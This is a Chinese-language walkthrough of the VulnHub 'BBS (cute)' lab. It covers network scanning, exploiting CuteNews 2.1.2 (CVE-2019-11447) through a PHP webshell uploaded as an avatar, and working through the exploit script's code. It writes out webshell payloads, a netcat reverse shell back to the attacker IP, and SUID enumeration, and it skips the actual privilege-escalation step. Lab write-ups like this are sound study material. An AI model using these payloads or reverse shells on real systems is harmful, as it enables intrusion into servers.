BBS (cute): 1.0.2
来自 < BBS (cute): 1.0.2 ~ VulnHub>
前言:攻击机无法扫描靶机解决方案
1,在开机时,按下shift进入界面,按e进入该界面

2,ro替换为 rw signie init=/bin/bash

3,按Ctrl键+X键如果没成功说明配置错了需要从新继续配置 如果是下面这个界面说明配置成功

4,查看当前网卡信息

5,发现网卡是ens33,那么接着编辑网卡配置文件vi /etc/network/interfaces

6,重启网卡 /etc/init.d/networking restart
7,成功分配到IP地址

1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.238
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.238

目标主机有5个开放端口22(SSH),80(HTTP),88(HTTP),110(PoP3),995(SSL PoP3)。首先访问80端的网站看看

然后88端口

4,扫描网站存在哪些子目录
dirsearch -u http://192.168.23.238 -x 403,404

访问index.php看看

发现存在一个登录页面,而且网站首页泄露了CMS版本,检索发现果然存在严重的漏洞
searchsploit CuteNews 2.1.2

CuteNews是一款基于PHP开发的新闻管理系统,主要用于管理博客或复杂的新闻发布平台。以下是其核心特点及安全概况的综合介绍:
1. 功能与架构
- 核心功能:CuteNews提供新闻发布、评论管理、用户权限控制、模板编辑等功能,支持预定时发布、媒体文件管理和多语言日期格式设置。其管理面板集成了分类管理、IP封禁、评论审核等工具,适合中小型网站的内容管理
- 技术架构:采用平坦式文件存储(无需数据库依赖),通过PHP脚本实现动态内容管理,模板文件以.tpl格式存储,支持HTML和PHP代码混合编写
2. 版本与更新
最新版本:根据公开记录,2015年发布的2.0.3版本新增了Base64编码存储(增强安全性)、迁移工具优化、模板标签修复等功能
历史问题:早期版本(如1.4.6)存在多个安全漏洞,包括跨站脚本(XSS)和未授权访问风险,例如:
- XSS漏洞:通过register.php的result参数、search.php的user参数等输入点注入恶意脚本3。
- PHP代码注入:管理员编辑模板时未过滤输入,攻击者可插入PHP代码执行任意系统命令(如Shell命令),影响版本包括2.x系列
3. 安全风险与漏洞
高危漏洞:
- 远程代码执行(RCE):攻击者通过构造恶意模板文件(如插入<?PHP system("命令"); ?>)可控制服务器,此漏洞因缺乏输入过滤而长期存在256。
- 文件遍历与权限绕过:部分版本允许通过URL参数非法访问系统文件(如Apache配置、日志文件),进一步引发代码注入7。
- 厂商响应:截至搜索结果时间(最新为2022年),官方未提供针对上述漏洞的补丁,仅建议用户关注官网更新46。
5,下载这个漏洞利用文件看看
searchsploit -m 48800.py

cat 48800.py

CVE-2019-11447漏洞概要
- 漏洞名称:CuteNews 2.1.2 - Remote Code Execution (RCE)
- CVE编号:CVE-2019-11447
- 漏洞类型:文件上传+远程代码执行
- 影响版本:CuteNews <= 2.1.2
- 利用前提:攻击者需要有权限注册或登录网站(低权限用户足够)
漏洞成因分析
1. 用户头像上传点可被利用
CuteNews 支持用户上传头像文件作为个人资料图像,文件上传路径如下:
/cdata/users/[username].php
上传表单处理代码在 core/modules/preview.php 和 core/core.php 中有关头像处理逻辑,未对上传的文件扩展名和 MIME 类型做有效验证。攻击者可以将 PHP 代码上传为伪装成图像文件(如 .php 后缀或 .php;.jpg 等变种)。
2. 绕过文件扩展名限制
部分版本中对头像上传支持的文件扩展名没有严格过滤,甚至允许上传 .php 或者通过使用 filename.php.jpg 形式上传,服务器端未对 MIME 类型或实际文件内容做校验。
3. 上传后的文件可直接访问并被解析
上传后的文件被保存至可被 Web 服务器执行的位置,如:
/uploads/avatar/evil.php
Web 服务器如 Apache/Nginx 会解析 .php 文件,攻击者上传的代码如:
<?php system($_GET['cmd']); ?>
当访问如下 URL 时即可执行命令:
http://victim.com/uploads/avatar/evil.php?cmd=whoami
4. 权限控制不当
即便是普通用户注册账户后也可以上传头像,系统未对用户操作进行进一步权限细化,造成攻击面扩大。
漏洞利用脚本原理分解
0x01 漏洞点确认
漏洞位于 用户头像上传接口 ,CuteNews 对上传头像的内容未进行 MIME 类型校验和扩展名过滤,且头像文件会被保存在 可执行的 Web 目录 中,因此可以上传包含恶意 PHP 代码的文件并通过浏览器访问触发执行。
0x02 核心攻击步骤分析
步骤 1:提取哈希凭证(可选步骤)
url = f"{ip}/CuteNews/cdata/users/lines"
encoded_creds = sess.get(url).text
...
credentials = b64decode(line)
sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)
- 尝试从 cdata/users/lines 文件中提取用户的 base64 编码的序列化数据。
- 通过正则解析出 SHA-256 的密码哈希。
- 虽然这不是攻击必要步骤,但可用于进一步暴力破解后台密码。
步骤 2:注册一个合法用户
postdata = {
"action": "register",
"regusername": userpass,
...
}
sess.post(f"{ip}/CuteNews/index.php?register", ...)
- 自动生成随机用户名和密码。
- 利用 CuteNews 允许任意注册用户上传头像的权限。
- 注册成功后具备上传权限。
步骤 3:上传恶意"头像"文件(核心 RCE 入口)
payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
...
"avatar_file" : (f"{logged_user}.php", payload)
- 构造恶意头像文件内容:添加 GIF8;(绕过部分图像解析器的简单校验),后跟 PHP 命令执行代码。
- 上传的文件名为:{logged_user}.php,文件保存路径为:
CuteNews/uploads/avatar_{user}_{user}.php - 由于上传目录可执行,上传成功后即可访问该文件远程执行命令:
http://target/CuteNews/uploads/avatar_user_user.php?cmd=whoami
步骤 4:与 WebShell 交互,执行系统命令
while True:
command = input("command > ")
postdata = {"cmd": command}
sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
- 向 WebShell POST 数据 cmd=命令。
- 服务端执行 system($_REQUEST['cmd']) 并返回结果。
关键点总结
|--------|---------------------|
| 步骤 | 问题点 |
| 用户注册 | 无验证码/注册限制,攻击者可自注册 |
| 头像上传 | 文件扩展名和 MIME 类型未校验 |
| 存储路径 | 上传路径可被 Web 执行 |
| 代码执行 | 上传内容可直接作为 PHP 脚本被执行 |
| 权限控制 | 普通用户可触发整个攻击流程 |
6,漏洞利用代码里的url需要根据情况进行修改(而前面目录扫描的时候已经知道目录名称,需要将原来的exploit代码删除掉/CuteNews)
:%s/\/CuteNews//g
解释:
- :%s:对整个文件进行替换(% 表示范围为全文件)。
- /\/CuteNews/:匹配 /CuteNews。由于 / 是分隔符,需要在前面加 \ 进行转义。
- /\//:替换为 /。
- g:表示全局替换每一行中所有匹配项。

替换成功,开始执行代码
python 48800.py

然后迁移shell
nc -e /bin/bash 192.168.23.182 4444

nc -lvvp 4444
然后再使用python开启一个可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'

成功getshell
7,然后信息收集,看如何getshell
sudo -l


发现需要密码,这个方法行不通
find / -perm -u=s 2>/dev/null


提权成功,成功得到flag
